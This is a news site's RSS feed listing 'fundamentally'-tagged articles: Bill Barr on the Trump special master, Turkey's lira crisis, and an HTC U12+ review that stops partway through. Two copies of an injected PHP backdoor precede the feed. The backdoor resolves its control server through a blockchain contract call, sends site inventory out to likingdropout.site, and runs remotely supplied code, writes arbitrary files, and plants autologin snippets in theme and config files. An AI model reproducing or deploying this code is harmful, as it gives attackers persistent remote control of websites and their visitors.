// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘FUNDAMENTALLY – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 07 Sep 2022 04:40:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘FUNDAMENTALLY – Brief News https://briefnews.eu 32 32 Bill Barr says a special master won’t fundamentally change much for Trump and represents a ‘rain delay for a couple of innings’ https://briefnews.eu/bill-barr-says-a-special-master-wont-fundamentally-change-much-for-trump-and-represents-a-rain-delay-for-a-couple-of-innings/ https://briefnews.eu/bill-barr-says-a-special-master-wont-fundamentally-change-much-for-trump-and-represents-a-rain-delay-for-a-couple-of-innings/#respond Wed, 07 Sep 2022 04:40:34 +0000 https://briefnews.eu/bill-barr-says-a-special-master-wont-fundamentally-change-much-for-trump-and-represents-a-rain-delay-for-a-couple-of-innings/ U.S. Attorney General William Barr and U.S. President Donald Trump attend a signing ceremony for an executive order establishing the Task Force on Missing and Murdered American Indians and Alaska Natives, in the Oval Office of the White House on November 26, 2019 in Washington, DC. Attorney General Barr recently announced the initiative on a trip to Montana where he met with Confederated Salish Kootenai Tribe leaders.
William Barr served as US attorney general under former President Donald Trump.

Drew Angerer/Getty Images

  • Bill Bar said it's unlikely a special master will compromise the outcome of the Mar-a-Lago probe.
  • The former attorney general said the DOJ still has "very strong evidence" at its disposal.
  • At the same time, he blasted a judge's decision to appoint a special master in the case.

Former Attorney General William Barr said on Tuesday that it's unlikely the appointment of a special master would impact the most important aspects of the Department of Justice's investigation into former President Donald Trump's handling of classified documents.

"I don't think the appointment of a special master is going to hold up, but even if it does, I don't see it fundamentally changing the trajectory," said Barr, who served as attorney general under Trump, on the Fox News show "The Story with Martha McCallum."

Barr said he believed the "fundamental dynamics of the case are set" and that the government has "very strong evidence" to help it decide whether or not to charge Trump.

"I don't think it changes the ballgame so much as maybe we'll have a rain delay for a couple of innings," he said.

At the same time, Barr criticized District Judge Aileen Cannon's decision to appoint a special master on Trump's request to review the evidence found at Trump's Mar-a-Lago residence in Florida last month, as Insider's Oma Seddiq and John Haltiwanger reported.

"It's deeply flawed in a number of ways," Barr said, calling Cannon's ruling a "wrong" decision.

A special master is a third party appointed by a judge to assist the court with a particular case or matter, sometimes with time-consuming tasks that judges don't have enough bandwidth to do themselves. At other times, a special master could be someone with particular expertise who can advise the court on technical issues.

In the case of the Justice Department's investigation into Trump, a special master was assigned by Cannon to sift through and review the records seized at Mar-a-Lago — the central focus of the probe so far.

The ruling from Cannon, a Trump appointee, will likely slow down the investigation. She had also ordered the Justice Department to temporarily cease using the seized documents for its probe, largely cutting off its means to continue working on the case.

Cannon's decision has been panned by several high-profile legal experts, such as former federal prosecutor Renato Mariotti, who tweeted that it set a "problematic precedent."

Harvard legal scholar and law professor Lawrence Tribe described the ruling as "utterly lawless" and said Cannon  looked like "her mind was made up the moment Team Trump filed in her court."

Steve Vladeck, a University of Texas professor who specializes in national security law, called the decision "preposterous" for blocking the Justice Department from using documents already in its possession.

In his TV appearance on Tuesday, Barr urged the Justice Department to appeal Cannon's decision. While the department had previously indicated it would do so if a special master were appointed, the appeal had yet to be filed as of Tuesday evening.

Read the original article on Business Insider

https://i.insider.com/6318130c5c870800189ee569?format=jpeg

]]> https://briefnews.eu/bill-barr-says-a-special-master-wont-fundamentally-change-much-for-trump-and-represents-a-rain-delay-for-a-couple-of-innings/feed/ 0 Turkey’s crisis is not fundamentally contagious https://briefnews.eu/turkeys-crisis-is-not-fundamentally-contagious/ https://briefnews.eu/turkeys-crisis-is-not-fundamentally-contagious/#respond Fri, 17 Aug 2018 04:38:29 +0000 http://briefnews.eu/turkeys-crisis-is-not-fundamentally-contagious/

IN 1546 Girolamo Fracastoro, a doctor and poet, published an elegant theory of contagion. Infections spread in three ways, he argued: by direct contact, via an intermediary, or at a distance, through the air. In medicine, his theory is now considered quaint. In economics, however, it still works pretty well.

On August 10th President Donald Trump sent a pathogenic tweet, announcing a doubling of tariffs on Turkish steel and aluminium. It followed earlier sanctions on two Turkish ministers involved in detaining Andrew Brunson, an American pastor, on dubious charges. The lira, which had already lost 38% of its value since the start of the year, shed another eight percentage points in the tweet’s aftermath.

Early medical scholars believed gluttons were more susceptible to disease than cleaner-living folk. Similarly, Turkey has become vulnerable to financial disorder through macroeconomic intemperance. Businesses have borrowed heavily in foreign currencies. The government, which has…

]]> https://briefnews.eu/turkeys-crisis-is-not-fundamentally-contagious/feed/ 0 HTC U12+ review: Fundamentally flawed https://briefnews.eu/htc-u12-review-fundamentally-flawed/ https://briefnews.eu/htc-u12-review-fundamentally-flawed/#respond Wed, 20 Jun 2018 13:51:48 +0000 http://briefnews.eu/htc-u12-review-fundamentally-flawed/

Once a big player in smartphones, HTC is now better known for its Vive VR headsets than anything else. The firm offloaded the team responsible for the Pixel phones to Google earlier this year, shortly before the chief of its smartphone division resigned. Another round of layoffs later, as HTC merged its VR and phone arms together in North America, and you’d think it was kissing the industry goodbye. But according to the company, that’s far from the case, though we imagine there’ll be a keen eye on the success of the new U12+, the HTC flagship of this year. With plenty of top-tier competition recently unleashed on the public, though, can HTC still hold its own?

Hardware

HTC’s U11+ never made it to the US, but considering it launched elsewhere in December last year, it’s no surprise you’re looking at a very similar handset in the U12+. The most obvious visual difference between the two is you now get two camera lenses instead of one, both on the front and back of the device. Otherwise, the design hasn’t really come on leaps in six months.

HTC has stuck with a mostly glass build, a metal border sandwiched between a flat pane on the front and curved sheet on the back. It’s a solidly put-together device with a luxurious feel familiar to phones like the glass-lavished Galaxy S9, Xperia XZ2 and Nokia 8 Sirocco, to name a few. You also get IP68-rated waterproofing, which you’d expect from 2018 flagship but important for peace of mind nonetheless. Wireless charging, however, isn’t featured, but then again that’s still not a given in high-end devices quite yet.

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There’s nothing truly standout about the design, per se, but HTC has considered the overall finish. The translucent back pane on the black variant has a lovely, almost mirror-like sheen to it, and there’s an arguably trendier blue number with added transparency that reveals some of the phone’s internal components. A vibrant red model is due out later this year, too, if flashy is more your style.

One thing you need to know: Like the U11+, the U12+ is a big phone and relatively heavy, too, at 188g (around 6.6 ounces) — roughly the same as the Galaxy S9+, 14g heavier than the iPhone X, but 10g lighter than the Xperia XZ2. HTC has managed to shave 1mm off the width, making the six-inch display near edge-to-edge on either side, and shed nearly 2mm off the height, though there’s still a fair slice of pixel-free space above and below the screen.

I have relatively big, spindly hands, and I struggle to use the thing with just one wrapped around it. I don’t care how many accommodations you make in the software to improve ease of use, this is a two-hander through and through. Oh, and make sure your belt’s tightened because you can definitely feel the weight of U12+ pulling at your jeans pocket.

HTC U12+
Processor Octa-core Snapdragon 845
RAM / storage 6GB / 64GB
MicroSD card support Up to 400GB
Display 6-inch LCD, HDR 10
Display resolution 2,880 x 1,440 (18:9)
Rear camera 12MP wide-angle + 16MP telephoto
Front-facing camera 8MP + 8MP
OS Android 8.0 Oreo with HTC Sense
Battery 3,420mAh
Charging USB-C with quick-charging
Dimensions 156.6 x 73.9 x 9.7mm (6.2 x 2.9 x 0.4 inches)
Weight 188g (6.6 ounces)
Fingerprint sensor Yes
Waterproofing IP68
NFC Yes
Headphone jack No (USB-C only)

Display and audio

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The benefit of a big phone is you get a nice large display to work with. Nothing’s changed from the U11+ here, as you’re getting the same 18:9, six-inch Super LCD 6 display with HDR 10 support and Quad HD+ resolution (2,880 x 1,440). Colors pop with intensity, and blacks are among the deepest I’ve seen on an LCD screen (AMOLED tech still leads in that particular regard). The display isn’t so powerful as to completely eliminate glare from a direct sunlight attack, but overall it’s a pretty one.

Combine that with HTC’s BoomSound stereo speakers and you’ve got a media machine on your hands. Typically I loathe using smartphone loudspeakers for anything but hands-free calls, but watching YouTube videos or Twitch streams on the U12+ is perfectly enjoyable. There are distinct theater and music modes you can switch between that prioritize higher notes and bass tones, respectively. I still wouldn’t listen to, say, a whole album through the speakers — bass is lacking and the higher end of the spectrum can be a tad raspy — but audio clarity is much better than the general smartphone standard.

Engadget

Included in the box is a pair of HTC’s USonic earbuds, with USB-C plug in. There’s no 3.5mm port I’m afraid, and you won’t find a 3.5mm convertor in the box à la the U11+ (and most other phones that’ve ditched the traditional jack). USonic isn’t new tech, but as a quick recap, the headphones scan the inside of your ear and create an audio profile specific to you. Pair that with active noise cancellation and the end result is a great audio experience. Turn these features off and on again, and you can definitely hear the hardware and software working together to get the best definition and balance out of whatever you’re listening to.

Squeeze me

With the U11 and U11+, HTC introduced a brand-new feature called Edge Sense. Thanks to the pressure-sensitive sides of the two phones, you could give it a quick squeeze to perform one action, or a longer one to do something different. Now, on the U12+, you get Edge Sense 2, which adds a double-tap into the mix to give you three distinct triggers.

